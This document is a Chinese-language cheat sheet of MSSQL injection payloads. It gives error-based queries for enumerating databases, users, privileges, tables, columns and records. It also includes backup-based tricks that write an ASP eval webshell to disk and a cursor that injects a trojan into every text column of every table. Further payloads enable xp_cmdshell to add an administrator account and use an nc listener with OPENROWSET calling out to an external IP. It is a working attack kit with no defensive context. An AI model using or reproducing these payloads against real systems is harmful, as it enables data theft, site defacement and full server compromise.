■获取数据库名

and db_name()=0

and db_name(0)=0

and db_name(__i__)=0

and quotename(db_name(__i__))=0

■获取用户名

and user=0

■获取版本信息

and @@version=0

■获取服务器名

and @@servername=0

■获取服务名

and @@servicename=0

■获取系统用户名

and system_user=0

■一次性获取所有基本信息

AnD

(dB_NaMe(0)+cHaR(124)+uSeR+cHaR(124)+@@vErSiOn+cHaR(124)+@@sErVeRnAmE+cHaR(124)+@@sErViCeNaMe+cHaR(124)+sYsTeM_UsEr)=0

■一次性探测权限

AnD

(cAsT(iS_srvrOlEmEmBeR(0x730079007300610064006d0069006e00)aS

vArChAr)+cHaR(94)+cAsT(iS_srvrOlEmEmBeR(0x64006200630072006500610074006f007200)aS

vArChAr)+cHaR(94)+cAsT(iS_srvrOlEmEmBeR(0x620075006c006b00610064006d0069006e00)aS

vArChAr)+cHaR(94)+cAsT(iS_srvrOlEmEmBeR(0x6400690073006b00610064006d0069006e00)aS

vArChAr)+cHaR(94)+cAsT(iS_srvrOlEmEmBeR(0x730065007200760065007200610064006d0069006e00)aS

vArChAr)+cHaR(94)+cAsT(iS_mEmBeR (0x7000750062006c0069006300) aS

vArChAr)+cHaR(94)+cAsT(iS_mEmBeR

(0x640062005f006f0077006e0065007200) aS

vArChAr)+cHaR(94)+cAsT(iS_mEmBeR

(0x640062005f006200610063006b00750070006f00700065007200610074006f007200)

aS vArChAr)+cHaR(94)+cAsT(iS_mEmBeR

(0x640062005f006400610074006100770072006900740065007200) aS

vArChAr))=0

■获取数据库的数目

AnD (sElEcT cAsT(cOuNt(1) aS

nvArChAr(100))+cHaR(9) FrOm mAsTeR..sYsDaTaBaSeS)=0

■获取数据库文件名

and (select top 1 filename from (select top

__i__ filename from master..sysdatabases order by filename) t order

by filename desc)=0

■同时获取数据库名和数据库文件名

AnD (sElEcT ToP 1 rtrim(iSnUlL(cAsT(nAmE aS

nvArChAr(4000)),cHaR(32)))+cHaR(9)+rtrim(iSnUlL(cAsT(filenAmE aS

nvArChAr(4000)),cHaR(32)))+cHaR(9) FrOm (sElEcT ToP __i__

nAmE,filenAmE FrOm mAsTeR..sYsDaTaBaSeS oRdEr bY nAmE) t oRdEr bY

nAmE dEsC)=0

■获取数据库的表的数目

and (select cast(count(1) as

varchar)+char(9) from

..sysobjects where

xtype=0x75)=0

■获取数据库的表

and (select top 1 name from (select top

__i__ name from ..sysobjects

where xtype=0X75 order by name) t order by name desc)=0

and (select top 1 quotename(name) from

.dbo.sysobjects where

xtype=char(85) AND name not in (select top __i__ name from

.dbo.sysobjects where

xtype=char(85)))=0

■获取表的字段的数目

and (select cast(count(1) as

varchar)+char(9) from

..syscolumns where

id=object_id(''))=0

■获取数据库表的字段

and (select top 1 name from (select top

__i__ name,id from ..syscolumns

where id=object_id('') order by

name) t order by name desc)=0

and (select

col_name(object_id(''),__i__))=0

■获取满足条件的表的记录数

AnD (sElEcT cAsT(cOuNt(1) aS

nvArChAr(100))+cHaR(9) FrOm

..)=0

■获取数据库的内容

AnD (sElEcT ToP 1

rtrim(iSnUlL(cAsT( aS

nvArChAr(4000)),cHaR(32)))+cHaR(9)+rtrim(iSnUlL(cAsT(

aS

nvArChAr(4000)),cHaR(32)))+cHaR(9)+rtrim(iSnUlL(cAsT(

aS nvArChAr(4000)),cHaR(32)))+cHaR(9) FrOm (sElEcT ToP __i__

,,

FrOm

..

oRdEr bY ) t oRdEr bY

dEsC)=0

■基于日志差异备份

--1. 进行初始备份

; Alter Database TestDB Set Recovery Full Drop Table ttt

Create Table ttt (a image) Backup Log TestDB to disk =

'' With

Init--

--2. 插入数据

;Insert Into ttt

Values(0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E)--

--3. 备份并获得文件，删除临时表

;Backup Log To Disk =

'';Drop

Table ttt Alter Database TestDB Set Recovery SIMPLE--

■基于数据库差异备份

1. 进行差异备份准备工作

;Declare @a Sysname;Set @a=db_name();Declare @file

VarChar(400);Set

@file=;Drop

Table ttt Create Table ttt(c Image) Backup Database @a To

Disk=@file--

2. 将数据写入到数据库

;Insert Into ttt

Values(0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E)--

3. 备份数据库并作最后的清理工作

;Declare @b SysName;Set @b=db_name();Declare @file1

VarChar(400);Set

@file1=;Backup

Database @b To Disk=@file1 With Differential,Format;Drop Table

ttt;--

■数据库插马(插指定数据库的指定表的满足条件的记录)

;update

..

set

=+''

where --

■数据库批量插马(插所有可插入的字段和记录，危险！！请谨慎操作！！)

;dEcLaRe @t vArChAr(255),@c vArChAr(255) dEcLaRe tAbLe_cursoR

cUrSoR FoR sElEcT a.nAmE,b.nAmE FrOm sYsObJeCtS a,sYsCoLuMnS b

wHeRe a.iD=b.iD AnD a.xTyPe='u' AnD (b.xTyPe=99 oR b.xTyPe=35 oR

b.xTyPe=231 oR b.xTyPe=167) oPeN tAbLe_cursoR fEtCh next FrOm

tAbLe_cursoR iNtO @t,@c while(@@fEtCh_status=0) bEgIn exec('UpDaTe

['+@t+'] sEt

['+@c+']=rtrim(convert(varchar,['+@c+']))+cAsT(

aS vArChAr(200))') fEtCh

next FrOm tAbLe_cursoR iNtO @t,@c eNd cLoSe tAbLe_cursoR dEAlLoCaTe

tAbLe_cursoR;--

;DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor

CURSOR FOR SELECT a.name,b.name FROM sysobjects a,s yscolumns b

WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR

b.xtype=231 OR b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM

Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE

['+@T+'] SET

['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''''')

FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor

DEALLOCATE Table_Cursor--

■执行命令行(无结果返回)

;exec master..xp_cmdshell 'net user name password /add

& net localgroup administrators name /add'--

■恢复存储过程 xp_cmdshell

;Exec Master..sp_dropextendedproc

0x780070005F0063006D0064007300680065006C006C00;Exec

Master..sp_addextendedproc

0x780070005F0063006D0064007300680065006C006C00,0x78706C6F6737302E646C6C--

■SQLServer 2005 开启和关闭 xp_cmdshell

;EXEC master..sp_configure 'show advanced

options',1;RECONFIGURE;EXEC master..sp_configure

'xp_cmdshell',1;RECONFIGURE;

关闭 xp_cmdshell

;EXEC master..sp_configure 'show advanced

options',1;RECONFIGURE;EXEC master..sp_configure

'xp_cmdshell',0;RECONFIGURE;

■SQLServer 2005 开启和关闭 OpenDataSource/OpenRowSet

开启：

;EXEC master..sp_configure 'show advanced

options',1;RECONFIGURE;EXEC master..sp_configure 'Ad Hoc

Distributed Queries',1;RECONFIGURE;

关闭：

;EXEC master..sp_configure 'show advanced

options',1;RECONFIGURE;EXEC master..sp_configure 'Ad Hoc

Distributed Queries',0;RECONFIGURE;

■SQLServer 2005 日志差异备份

alter database [testdb] set recovery full

declare @d nvarchar(4000) set @d=0x640062006200610063006B00

backup database __dbname__ to disk=@d with init--

drop table [itpro]--

create table [itpro]([a] image)--

declare @d nvarchar(4000) set @d=0x640062006200610063006B00

backup log __dbname__ to disk=@d with init--

insert into [itpro]([a]) values(__varchar(木马内容))--

declare @d nvarchar(4000) set @d=__nvarchar(文件名) backup log

__dbname__ to disk=@d with init--

drop table [itpro] declare @d nvarchar(4000) set

@d=0x640062006200610063006B00 backup log __dbname__ to disk=@d with

init--

■查看数据库服务器IP

NC监听80端口:nc -vvlp 80

(反连看IP，自己机器并不一定要有装MSSQL的)，在注射点上注射如下语句：

;insert into

OPENROWSET('SQLOLEDB','uid=sa;pwd=netpatch;Network=DBMSSOCN;Address=58.53.58.32,80;',

'select * from dest_table') select * from src_table;--

因为我们只要看IP，所以其他的参数就无所谓了。而端口设置成80，是为了预防一些机器只让访问外部80。